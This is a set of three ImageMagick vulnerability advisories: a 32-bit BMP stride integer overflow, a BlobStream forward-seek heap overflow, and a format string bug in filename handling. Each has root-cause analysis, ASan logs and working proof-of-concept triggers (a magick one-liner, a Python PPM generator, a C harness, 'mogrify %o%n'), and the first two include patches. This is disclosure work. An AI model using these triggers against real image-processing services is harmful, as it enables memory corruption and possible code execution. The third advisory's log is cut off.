Package Instance

ImageMagick (WriteBMPImage): 32-bit integer overflow when writing BMP scanline stride → heap buffer overflow
## Summary

A 32-bit integer overflow in the BMP encoder’s scanline-stride computation collapses `bytes_per_line` (stride) to a tiny value while the per-row writer still emits `3 × width` bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines.

- **Impact:** Attacker-controlled heap out-of-bounds (OOB) write during conversion **to BMP**.
    
- **Surface:** Typical upload → normalize/thumbnail → `magick ... out.bmp` workers.
    
- **32-bit:** **Vulnerable** (reproduced with ASan).
    
- **64-bit:** Safe from this specific integer overflow (IOF) by arithmetic, but still add product/size guards.
    
- **Proposed severity:** **Critical 9.8** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
    

---

## Scope & Affected Builds

- **Project:** ImageMagick (BMP writer path, `WriteBMPImage` in `coders/bmp.c`).
    
- **Commit under test:** `3fcd081c0278427fc0e8ac40ef75c0a1537792f7`
    
- **Version string from the run:** `ImageMagick 7.1.2-0 Q8 i686 9bde76f1d:20250712`
    
- **Architecture:** 32-bit i686 (**`sizeof(size_t) == 4`**) with ASan/UBSan.
    
- **Note on other versions:** Any release/branch with the same stride arithmetic and row loop is likely affected on 32-bit.
    

---

## Root Cause (with code anchors)

### Stride computation (writer)

```c
bytes_per_line = 4 * ((image->columns * bmp_info.bits_per_pixel + 31) / 32);
```

### Per-row base and 24-bpp loop (writer)

```c
q = pixels + ((ssize_t)image->rows - y - 1) * (ssize_t)bytes_per_line;
for (x = 0; x < (ssize_t)image->columns; x++) {
  *q++ = B(...); *q++ = G(...); *q++ = R(...);  // writes 3 * width bytes
}
```

### Allocation (writer)

```c
pixel_info = AcquireVirtualMemory(image->rows,
    MagickMax(bytes_per_line, image->columns + 256UL) * sizeof(*pixels));
pixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info);
```

### Dimension “caps” (insufficient)

The writer rejects dimensions that don’t round-trip through `signed int`, but both overflow thresholds below are **≤ INT_MAX** on 32-bit, so the caps **do not prevent** the bug.

---

## Integer-Overflow Analysis (32-bit `size_t`)

Stride formula for 24-bpp:

```
bytes_per_line = 4 * ((width * 24 + 31) / 32)
```

There are **two independent overflow hazards** on 32-bit:

1. **Stage-1 multiply+add** in `(width * 24 + 31)`  
    Overflow iff `width > ⌊(0xFFFFFFFF − 31) / 24⌋ = 178,956,969`  
    → at **width ≥ 178,956,970** the numerator wraps small before `/32`, producing a **tiny** `bytes_per_line`.
    
2. **Stage-2 final ×4** after the division  
    Let `q = (width * 24 + 31) / 32`. Final `×4` overflows iff `q > 0x3FFFFFFF`.  
    Solving gives **width ≥ 1,431,655,765 (0x55555555)**.
    

Both thresholds are **below** `INT_MAX` (≈2.147e9), so “int caps” don’t help.

**Mismatch predicate (guaranteed OOB when overflowed):**  
Per-row write for 24-bpp is `row_bytes = 3*width`. Safety requires `row_bytes ≤ bytes_per_line`.  
Under either overflow, `bytes_per_line` collapses → `3*width > bytes_per_line` holds → **OOB-write**.

---

## Concrete Demonstration

Chosen width: **`W = 178,957,200`** (just over Stage-1 bound)

- Stage-1: `24*W + 31 = 4,294,972,831 ≡ 0x0000159F (mod 2^32)` → **5535**
    
- Divide by 32: `5535 / 32 = 172`
    
- Multiply by 4: `bytes_per_line = 172 * 4 = **688** bytes` ← tiny stride
    
- Per-row data (24-bpp): `row_bytes = 3*W = **536,871,600** bytes`
    
- Allocation used: `MagickMax(688, W+256) = **178,957,456** bytes`
    
- **Immediate OOB**: first row writes ~536MB into a 178MB region, starting at a base advanced by only 688 bytes.
    
---

## Observed Result (ASan excerpt)

```
ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490
WRITE of size 1 in WriteBMPImage coders/bmp.c:2309
...
allocated by:
  AcquireVirtualMemory MagickCore/memory.c:747
  WriteBMPImage coders/bmp.c:2092
```

- Binary: **ELF 32-bit i386**, Q8, non-HDRI
    
- Resources set to permit execution of the writer path (defense-in-depth limits relaxed for repro)
    

---

## Exploitability & Risk

- **Primitive:** Large, contiguous, attacker-controlled heap overwrite beginning at the scanline slot.
    
- **Control:** Overwrite bytes are sourced from attacker-supplied pixels (e.g., crafted input image to be converted to BMP).
    
- **Likely deployment:** Server-side, non-interactive conversion pipelines (UI:N).
    
- **Outcome:** At minimum, deterministic crash (DoS). On many 32-bit allocators, well-understood heap shaping can escalate to **RCE**.
    

**Note on 64-bit:** Without integer overflow, `bytes_per_line = 4 * ceil((3*width)/4) ≥ 3*width`, so the mismatch doesn’t arise. Still add product/size checks to prevent DoS and future refactors.

---

## Reproduction (copy-paste triager script)

**Test Environment:**

- `docker run -it --rm --platform linux/386 debian:11 bash`
    
- Install deps: `apt-get update && apt-get install -y build-essential git autoconf automake libtool pkg-config python3`
    
- Clone & checkout: ImageMagick `7.1.2-0` → commit `3fcd081c0278427f...`
    
- Configure 32-bit Q8 non-HDRI with ASan/UBSan (summary):

```bash
./configure \
  --host=i686-pc-linux-gnu \
  --build=x86_64-pc-linux-gnu \
  --disable-dependency-tracking \
  --disable-silent-rules \
  --disable-shared \
  --disable-openmp \
  --disable-docs \
  --without-x \
  --without-perl \
  --without-magick-plus-plus \
  --without-lqr \
  --without-zstd \
  --without-tiff \
  --with-quantum-depth=8 \
  --disable-hdri \
  CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
  CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
  LDFLAGS="-fsanitize=address,undefined"

make -j"$(nproc)"
```
- Runtime limits to exercise writer:

```bash
export MAGICK_WIDTH_LIMIT=200000000
export MAGICK_HEIGHT_LIMIT=200000000
export MAGICK_TEMPORARY_PATH=/tmp
export TMPDIR=/tmp
export ASAN_OPTIONS="detect_leaks=0:malloc_context_size=20:alloc_dealloc_mismatch=0"
```

**One-liner trigger (no input file):**

```bash
W=178957200
./utilities/magick \
  -limit width 200000000 -limit height 200000000 \
  -limit memory 268435456 -limit map 0 -limit disk 200000000000 \
  -limit thread 1 \
  -size ${W}x1 xc:black -type TrueColor -define bmp:format=bmp3 BMP3:/dev/null
```

**Expected:** ASan heap-buffer-overflow in `WriteBMPImage` (will be provided in a private gist link).

**Alternate PoC (raw PPM generator):**

```python
#!/usr/bin/env python3
W, H, MAXV = 180_000_000, 1, 255              
# W > 178,956,969
with open("huge.ppm", "wb") as f:
    f.write(f"P6\n{W} {H}\n{MAXV}\n".encode("ascii"))
    chunk = (b"\x41\x42\x43") * (1024*1024)
    remaining = 3 * W
    while remaining:
        n = min(remaining, len(chunk))
        f.write(chunk[:n]); remaining -= n
# Then: magick huge.ppm out.bmp
```

---

## Proposed Severity

- **Primary vector (server auto-convert):** `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` → **9.8 Critical**
    
- **If strictly CLI/manual conversion:** `UI:R` → **8.8 High**
    

---

## Maintainer Pushbacks — Pre-empted

- **“MagickMax makes allocation large.”** The row **base** advances by **overflowed `bytes_per_line`**, causing row overlap and eventual region exit regardless of total allocation size.
    
- **“We’re 64-bit only.”** Code is still incorrect for 32-bit consumers/cross-compiles; also add product guards on 64-bit for correctness/DoS.
    
- **“Resource policy blocks large images.”** That’s environment-dependent defense-in-depth; arithmetic must be correct.
    
---

## Remediation (Summary)

Add checked arithmetic around stride computation and enforce a per-row invariant so that the number of bytes emitted per row (row_bytes) always fits within the computed stride (bytes_per_line). Guard multiplication/addition and product computations used for header fields and allocation sizes, and fail early with a clear WidthOrHeightExceedsLimit/ResourceLimitError when values exceed safe bounds.

Concretely:

- Validate width and bits_per_pixel before the stride formula to ensure (width*bpp + 31) cannot overflow a size_t.
- Compute row_bytes for the chosen bpp and assert row_bytes <= bytes_per_line.
- Bound rows * stride before allocating and ensure biSizeImage (DIB 32-bit) cannot overflow.

A full suggested guarded implementation is provided in Appendix A — Full patch (for maintainers).

---

## Regression Tests to Include (PR-friendly)

1. **32-bit overflow repros** (with ASan):
    
    - `rows=1`, `width ≥ 178,956,970`, `bpp=24` → now cleanly errors.
        
    - `rows=2`, same bound → no row overlap; clean error.
        
2. **64-bit sanity:** Medium images (e.g., `8192×4096`, 24-bpp) round-trip; header’s `biSizeImage = rows * bytes_per_line`.
    
3. **Packed bpp (1/4/8):** Validate `row_bytes = (width*bpp+7)/8` (guarded), 4-pad, and **payload ≤ stride** holds.

---

## Attachments (private BMP_Package) 
Provided with report: README.md, poc_ppm_generator.py, repro_commands.sh, full_asan_bmp_crash.txt, appendix_a_patch_block.c. (Private gist link with package provided separately.)

---

## Disclosure & Coordination

- **Reporter:** Lumina Mescuwa
    
- **Tested on:** i686 Linux container (details in Repro)
    
- **Timeline:** August 19th, 2025
    

---

## Appendices

### Appendix A — Patch block tailored to  `bmp.c`

**Where this hooks in (current code):**

- Stride is computed here: `bytes_per_line=4*((image->columns*bmp_info.bits_per_pixel+31)/32);`
    
- Header uses `bmp_info.image_size=(unsigned int) (bytes_per_line*image->rows);`
    
- Allocation uses `AcquireVirtualMemory(image->rows, MagickMax(bytes_per_line, image->columns+256UL)*sizeof(*pixels));`
    
- 24-bpp row loop writes pixels then zero-pads up to `bytes_per_line` (so the per-row slot size matters): `for (x=3L*(ssize_t)image->columns; x < (ssize_t)bytes_per_line; x++) *q++=0x00;`
    

---

## Suggested Patch (minimal surface, guards + invariant)

I recommend this **in place of** the existing `bytes_per_line` assignment and the subsequent `bmp_info.image_size` / allocation block. Keep your macros and local variables as-is.

```c
/* --- PATCH BEGIN: guarded stride, per-row invariant, and product checks --- */

/* 1) Guard the original stride arithmetic (preserve behavior, add checks). */
if (bmp_info.bits_per_pixel == 0 ||
    (size_t)image->columns > (SIZE_MAX - 31) / (size_t)bmp_info.bits_per_pixel)
  ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");

size_t _tmp = (size_t)image->columns * (size_t)bmp_info.bits_per_pixel + 31;
/* Divide first; then check the final ×4 won't overflow. */
_tmp /= 32;
if (_tmp > (SIZE_MAX / 4))
  ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");

bytes_per_line = 4 * _tmp;  /* same formula as before, now checked */

/* 2) Compute the actual data bytes written per row for the chosen bpp. */
size_t row_bytes;
if (bmp_info.bits_per_pixel == 1 || bmp_info.bits_per_pixel == 4 || bmp_info.bits_per_pixel == 8) {
  /* packed: ceil(width*bpp/8) */
  if ((size_t)image->columns > (SIZE_MAX - 7) / (size_t)bmp_info.bits_per_pixel)
    ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
  row_bytes = (((size_t)image->columns * (size_t)bmp_info.bits_per_pixel) + 7) >> 3;
} else {
  /* 16/24/32 bpp: (bpp/8) * width */
  size_t bpp_bytes = (size_t)bmp_info.bits_per_pixel / 8;
  if (bpp_bytes == 0 || (size_t)image->columns > SIZE_MAX / bpp_bytes)
    ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
  row_bytes = bpp_bytes * (size_t)image->columns;
}

/* 3) Per-row safety invariant: the payload must fit the stride. */
if (row_bytes > bytes_per_line)
  ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");

/* 4) Guard header size and allocation products. */
if ((size_t)image->rows == 0)
  ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");

/* biSizeImage = rows * bytes_per_line (DIB field is 32-bit) */
if (bytes_per_line > 0xFFFFFFFFu / (size_t)image->rows)
  ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
bmp_info.image_size = (unsigned int)(bytes_per_line * (size_t)image->rows);

/* Allocation count = rows * stride_used, with existing MagickMax policy. */
size_t _stride = MagickMax(bytes_per_line, (size_t)image->columns + 256UL);
if (_stride > SIZE_MAX / (size_t)image->rows)
  ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");

pixel_info = AcquireVirtualMemory((size_t)image->rows, _stride * sizeof(*pixels));
if (pixel_info == (MemoryInfo *) NULL)
  ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");
pixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info);

/* Optional: keep zeroing aligned to computed header size. */
(void) memset(pixels, 0, (size_t) bmp_info.image_size);

/* --- PATCH END --- */
```

### Why this is the right spot?

- It **replaces** the unguarded stride line you currently have, without changing the algorithm (still `4*((W*bpp+31)/32)`). 
    
- It **fixes the header** (`biSizeImage`) to be a checked product, instead of a potentially wrapped multiplication. 
    
- It **guards allocation** where you presently allocate `rows × MagickMax(bytes_per_line, columns+256)`. 
    
- The invariant `row_bytes ≤ bytes_per_line` ensures your 24-bpp emission loop (writes 3 bytes/pixel, then pads to `bytes_per_line`) can never exceed the per-row slot the code relies on. 
    

---

## Notes

- **Behavior preserved**: The stride value for normal images is unchanged; only pathological integer states are rejected. 
    
- **Header consistency**: `biSizeImage = rows * bytes_per_line` remains true by construction, but now cannot overflow a 32-bit DIB field. 
    
- **Defensive alignment**: If you prefer, you can compute `bytes_per_line` as `((row_bytes + 3) & ~3U)`; it’s equivalent and may read clearer, but I kept the original formula with guards to minimize diff.
    

A slightly larger “helpers” variant (with `safe_mul_size` / `safe_add_size` utilities) also comes to mind, but the block above is the tightest patch that closes the 32-bit IOF→OOB class without touching unrelated code paths.



### Appendix B — Arithmetic Worked Example (W=178,957,200)

- `(24W + 31) mod 2^32 = 5535`
    
- `bytes_per_line = 4 * (5535/32) = 688`
    
- `row_bytes (24-bpp) = 536,871,600`
    
- Allocation via `MagickMax = 178,957,456` → immediate row 0 out-of-bounds.
    

### Appendix C — Raw ASan Log (trimmed)

```
=================================================================
==49178==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490
WRITE of size 1 at 0x6eaac490 thread T0
    #0 0xed2788 in WriteBMPImage coders/bmp.c:2309
    #1 0x13da32c in WriteImage MagickCore/constitute.c:1342
    #2 0x13dc657 in WriteImages MagickCore/constitute.c:1564
0x6eaac490 is located 0 bytes to the right of 178957456-byte region
allocated by thread T0 here:
    #0 0x408e30ab in __interceptor_posix_memalign
    #1 0xd03305 in AcquireVirtualMemory MagickCore/memory.c:747
    #2 0xecd597 in WriteBMPImage coders/bmp.c:2092
```

ImageMagick BlobStream Forward-Seek Under-Allocation
**Reporter:** Lumina Mescuwa  
**Product:** ImageMagick 7 (MagickCore)  
**Component:** `MagickCore/blob.c` (Blob I/O - BlobStream)  
**Tested:** 7.1.2-0 (source tag) and 7.1.2-1 (Homebrew), macOS arm64, clang-17, Q16-HDRI  
**Impact:** Heap out-of-bounds **WRITE** (attacker-controlled bytes at attacker-chosen offset) → memory corruption; potential code execution  

---

## Executive Summary

For memory-backed blobs (**BlobStream**), [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) permits advancing the stream **offset** beyond the current end without increasing capacity. The subsequent [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) then expands by **`quantum + length`** (amortized) instead of **`offset + length`**, and copies to `data + offset`. When `offset ≫ extent`, the copy targets memory beyond the allocation, producing a deterministic heap write on 64-bit builds. No 2⁶⁴ arithmetic wrap, external delegates, or policy settings are required.

---

## Affected Scope

- **Versions confirmed:** 7.1.2-0, 7.1.2-1
    
- **Architectures:** Observed on macOS arm64; architecture-agnostic on LP64
    
- Paths: MagickCore blob subsystem — **BlobStream** ([`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) and [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938)).
    
- **Not required:** External delegates; special policies; integer wraparound
    

---

## Technical Root Cause

**Types (LP64):**  
`offset: MagickOffsetType` (signed 64-bit)  
`extent/length/quantum: size_t` (unsigned 64-bit)  
`data: unsigned char*`

**Contract mismatch:**

- [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) (BlobStream) updates `offset` to arbitrary positions, including past end, **without** capacity adjustment.
    
- [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) tests `offset + length >= extent` and grows **by** `length + quantum`, doubles `quantum`, reallocates to `extent + 1`, then:
    
    ```
    q = data + (size_t)offset;
    memmove(q, src, length);
    ```
    
    There is **no guarantee** that `extent ≥ offset + length` post-growth. With `offset ≫ extent`, `q` is beyond the allocation.
    

**Wrap-free demonstration:**  
Initialize `extent=1`, write one byte (`offset=1`), seek to `0x10000000` (256 MiB), then write 3–4 bytes. Growth remains << `offset + length`; the copy overruns the heap buffer.

---

## Exploitability & Reachability

- **Primitive:** Controlled bytes written at a controlled displacement from the buffer base.
    
- **Reachability:** Any encode-to-memory flow that forward-seeks prior to writing (e.g., header back-patching, reserved-space strategies). Even if current encoders/writers avoid this, the API contract **permits** it, thus creating a latent sink for first- or third-party encoders/writers.
    
- **Determinism:** Once a forward seek past end occurs, the first subsequent write reliably corrupts memory.
    

---

## Impact Assessment

- **Integrity:** High - adjacent object/metadata overwrite plausible.
    
- **Availability:** High - reliably crashable (ASan and non-ASan).
    
- **Confidentiality:** High - Successful exploitation to RCE allows the attacker to read all data accessible by the compromised process.
    
- **RCE plausibility:** Typical of heap OOB writes in long-lived image services; allocator/layout dependent.
    

---

## CVSS v3.1 Rationale (9.8)

- **AV:N / PR:N / UI:N** - server-side image processing is commonly network-reachable without auth or user action.
    
- **AC:L** - a single forward seek + write suffices; no races or specialized state.
    
- **S:U** - corruption localized to the ImageMagick process.
    
- **C:H / I:H / A:H** - A successful exploit leads to RCE, granting full control over the process. This results in a total loss of Confidentiality (reading sensitive data), Integrity (modifying files/data), and Availability (terminating the service).
    

_Base scoring assumes successful exploitation; environmental mitigations are out of scope of Base metrics._

---

## Violated Invariant

> **Before copying `length` bytes at `offset`, enforce `extent ≥ offset + length` with overflow-checked arithmetic.**

The BlobStream growth policy preserves amortized efficiency but fails to enforce this **per-write** safety invariant.

---

## Remediation (Principle)

In [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) (BlobStream case):

1. **Checked requirement:**  
    `need = (size_t)offset + length;` → if `need < (size_t)offset`, overflow → fail.
    
2. **Ensure capacity ≥ need:**  
    `target = MagickMax(extent + quantum + length, need);`  
    (Optionally loop, doubling `quantum`, until `extent ≥ need` to preserve amortization.)
    
3. **Reallocate to `target + 1` before copying;** then perform the move.
    

**Companion hardening (recommended):**

- Document or restrict [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) on BlobStream so forward seeks either trigger explicit growth/zero-fill or require the subsequent write to meet the invariant.
    
- Centralize blob arithmetic in checked helpers.
    
- Unit tests: forward-seek-then-write (success and overflow-reject).
    

---

## Regression & Compatibility

- **Behavior change:** Forward-seeked writes will either allocate to required size or fail cleanly (overflow/alloc-fail).
    
- **Memory profile:** Single writes after very large seeks may allocate large buffers; callers requiring sparse behavior should use file-backed streams.
    

---

## Vendor Verification Checklist

- Reproduce with a minimal in-memory BlobStream harness under ASan.
    
- Apply fix; verify `extent ≥ offset + length` at all write sites.
    
- Add forward-seek test cases (positive/negative).
    
- Audit other growth sites (`SetBlobExtent`, stream helpers).
    
- Clarify BlobStream seek semantics in documentation.
    
- Unit test: forward seek to large offset on **BlobStream** followed by 1–8 byte writes; assert either growth to `need` or clean failure.
    

---

# PoC / Reproduction / Notes

## Environment

- **OS/Arch:** macOS 14 (arm64)
    
- **Compiler:** clang-17 with AddressSanitizer
    
- **ImageMagick:** Q16-HDRI
    
- **Prefix:** `~/opt/im-7.1.2-0`
    
- **`pkg-config`:** from PATH (no hard-coded `/usr/local/...`)
    

---

## Build ImageMagick 7.1.2-0 (static, minimal)

```bash
./configure --prefix="$HOME/opt/im-7.1.2-0" --enable-hdri --with-quantum-depth=16 \
  --disable-shared --enable-static --without-modules \
  --without-magick-plus-plus --disable-openmp --without-perl \
  --without-x --without-lqr --without-gslib

make -j"$(sysctl -n hw.ncpu)"
make install

"$HOME/opt/im-7.1.2-0/bin/magick" -version > magick_version.txt
```

---

## Build & Run the PoC (memory-backed BlobStream)

**`poc.c`:**  
_Uses private headers (`blob-private.h`) to exercise blob internals; a public-API variant (custom streams) is feasible but unnecessary for triage._

```c
// poc.c

#include <stdio.h>

#include <stdlib.h>

#include <MagickCore/MagickCore.h>

#include <MagickCore/blob.h>

#include "MagickCore/blob-private.h"

  

int main(int argc, char **argv) {

MagickCoreGenesis(argv[0], MagickTrue);

ExceptionInfo *e = AcquireExceptionInfo();

ImageInfo *ii = AcquireImageInfo();

Image *im = AcquireImage(ii, e);

if (!im) return 1;

  

// 1-byte memory blob → BlobStream

unsigned char *buf = (unsigned char*) malloc(1);

buf[0] = 0x41;

AttachBlob(im->blob, buf, 1); // type=BlobStream, extent=1, offset=0

SetBlobExempt(im, MagickTrue); // don't free our malloc'd buf

  

// Step 1: write 1 byte (creates BlobInfo + sets offset=1)

unsigned char A = 0x42;

(void) WriteBlob(im, 1, &A);

fprintf(stderr, "[+] after 1 byte: off=%lld len=%zu\n",

(long long) TellBlob(im), (size_t) GetBlobSize(im));

  

// Step 2: seek way past end without growing capacity

const MagickOffsetType big = (MagickOffsetType) 0x10000000; // 256 MiB

(void) SeekBlob(im, big, SEEK_SET);

fprintf(stderr, "[+] after seek: off=%lld len=%zu\n",

(long long) TellBlob(im), (size_t) GetBlobSize(im));

  

// Step 3: small write → reallocation grows by quantum+length, not to offset+length

// memcpy then writes to data + offset (OOB)

const unsigned char payload[] = "PWN";

(void) WriteBlob(im, sizeof(payload), payload);

  

// If we get here, it didn't crash

fprintf(stderr, "[-] no crash; check ASan flags.\n");

  

(void) CloseBlob(im);

DestroyImage(im); DestroyImageInfo(ii); DestroyExceptionInfo(e);

MagickCoreTerminus();

return 0;

}
```

---

`run:`

```bash
# Use the private prefix for pkg-config
export PKG_CONFIG_PATH="$HOME/opt/im-7.1.2-0/lib/pkgconfig:$PKG_CONFIG_PATH"

# Strict ASan for crisp failure
export ASAN_OPTIONS='halt_on_error=1:abort_on_error=1:detect_leaks=0:fast_unwind_on_malloc=0'

# Compile (static link pulls transitive deps via --static)
clang -std=c11 -g -O1 -fno-omit-frame-pointer -fsanitize=address -o poc poc.c \
  $(pkg-config --cflags MagickCore-7.Q16HDRI) \
  $(pkg-config --static --libs MagickCore-7.Q16HDRI)

# Execute and capture
./poc 2>&1 | tee asan.log
```

**Expected markers prior to the fault:**

```
[+] after 1 byte: off=1 len=1
[+] after seek:  off=268435456 len=1
```

An ASan **WRITE** crash in [`WriteBlob`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) follows (top frames: `WriteBlob blob.c:<line>`, then `_platform_memmove` / `__sanitizer_internal_memmove`).

---

## Debugger Verification (manual)

LLDB can be used to snapshot the invariants; ASan alone is sufficient.

```
lldb ./poc
(lldb) settings set use-color false
(lldb) break set -n WriteBlob
(lldb) run

# First stop (prime write)
(lldb) frame var length
(lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped
(lldb) continue

# Second stop (post-seek write)
(lldb) frame var length
(lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped
(lldb) expr -- (unsigned long long)image->blob->offset + (unsigned long long)length
(lldb) expr -- (void*)((unsigned char*)image->blob->data + (size_t)image->blob->offset)

# Into the fault; if inside memmove (no locals):
(lldb) bt
(lldb) frame select 1
(lldb) frame var image->blob->offset image->blob->length image->blob->extent image->blob->quantum
```

**Expected at second stop:**  
`type = BlobStream` · `offset ≈ 0x10000000` (256 MiB) · `length ≈ 3–4` · `extent ≈ 64 KiB` (≪ `offset + length`) · `quantum ≈ 128 KiB` · `mapped = MagickFalse` · `data + offset` far beyond base; next `continue` crashes in `_platform_memmove`.
    
---

## Credits

**Reported by:** Lumina Mescuwa

---

ImageMagick has a Format String Bug in InterpretImageFilename leads to arbitrary code execution
## Summary
A format string bug vulnerability exists in `InterpretImageFilename` function where user input is directly passed to `FormatLocaleString` without proper sanitization. An attacker can overwrite arbitrary memory regions, enabling a wide range of attacks from heap overflow to remote code execution.
<br>

## Details
### root cause
```
MagickExport size_t InterpretImageFilename(const ImageInfo *image_info,
  Image *image,const char *format,int value,char *filename,
  ExceptionInfo *exception)
{

...

  while ((cursor=strchr(cursor,'%')) != (const char *) NULL)
  {
    const char
      *q = cursor;

    ssize_t
      offset = (ssize_t) (cursor-format);

    cursor++;  /* move past '%' */
    if (*cursor == '%')
      {
        /*
          Escaped %%.
        */
        cursor++;
        continue;
      }
    /*
      Skip padding digits like %03d.
    */
    if (isdigit((int) ((unsigned char) *cursor)) != 0)
      (void) strtol(cursor,(char **) &cursor,10);
    switch (*cursor)
    {
      case 'd':
      case 'o':
      case 'x':
      {
        ssize_t
          count;

        count=FormatLocaleString(pattern,sizeof(pattern),q,value);
        if ((count <= 0) || (count >= MagickPathExtent) ||
            ((offset+count) >= MagickPathExtent))
          return(0);
        (void) CopyMagickString(p+offset,pattern,(size_t) (MagickPathExtent-
          offset));
        cursor++;
        break;
      }
```
When the InterpretImageFilename function processes a filename beginning with format specifiers such as %d, %o, or %x, the filename string is directly passed as a parameter to the FormatLocaleString function.
<br>
```
MagickExport ssize_t FormatLocaleString(char *magick_restrict string,
  const size_t length,const char *magick_restrict format,...)
{
  ssize_t
    n;

  va_list
    operands;

  va_start(operands,format);
  n=FormatLocaleStringList(string,length,format,operands);
  va_end(operands);
  return(n);
}
```
```
MagickPrivate ssize_t FormatLocaleStringList(char *magick_restrict string,
  const size_t length,const char *magick_restrict format,va_list operands)
{
...
n=(ssize_t) _vsnprintf_l(string,length,format,locale,operands);
```
Inside FormatLocaleString, the variable argument list is initialized through va_start, after which the format string processing occurs by interpreting the format specifiers and using corresponding values from CPU registers and the call stack as arguments for the formatting operations.
<br>
## PoC
### 1. Heap overflow read tested on development container
```
root@9184bf32bd0f:/workspaces/ImageMagick# mogrify %o%n
=================================================================
==55653==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000001 at pc 0x5bdccaae689e bp 0x7fff6882c410 sp 0x7fff6882c408
READ of size 8 at 0x603000000001 thread T0
    #0 0x5bdccaae689d in SplaySplayTree splay-tree.c
    #1 0x5bdccaae865e in GetValueFromSplayTree (/ImageMagick/bin/magick+0x59165e) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #2 0x5bdccaa8e47b in GetImageOption (/ImageMagick/bin/magick+0x53747b) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #3 0x5bdccaa63c39 in SyncImageSettings (/ImageMagick/bin/magick+0x50cc39) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #4 0x5bdccaa63036 in AcquireImage (/ImageMagick/bin/magick+0x50c036) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #5 0x5bdccaa70cc4 in SetImageInfo (/ImageMagick/bin/magick+0x519cc4) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #6 0x5bdccae42e13 in ReadImages (/ImageMagick/bin/magick+0x8ebe13) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #7 0x5bdccb11ee08 in MogrifyImageCommand (/ImageMagick/bin/magick+0xbc7e08) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #8 0x5bdccb103ca9 in MagickCommandGenesis (/ImageMagick/bin/magick+0xbacca9) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #9 0x5bdccaa5f939 in main (/ImageMagick/bin/magick+0x508939) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #10 0x73b2102b2d8f  (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd)
    #11 0x73b2102b2e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd)
    #12 0x5bdcca99f404 in _start (/ImageMagick/bin/magick+0x448404) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)

0x603000000001 is located 15 bytes to the left of 24-byte region [0x603000000010,0x603000000028)
allocated by thread T0 here:
    #0 0x5bdccaa2224e in malloc (/ImageMagick/bin/magick+0x4cb24e) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #1 0x73b21031915a  (/lib/x86_64-linux-gnu/libc.so.6+0x9015a) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd)

SUMMARY: AddressSanitizer: heap-buffer-overflow splay-tree.c in SplaySplayTree
Shadow bytes around the buggy address:
  0x0c067fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
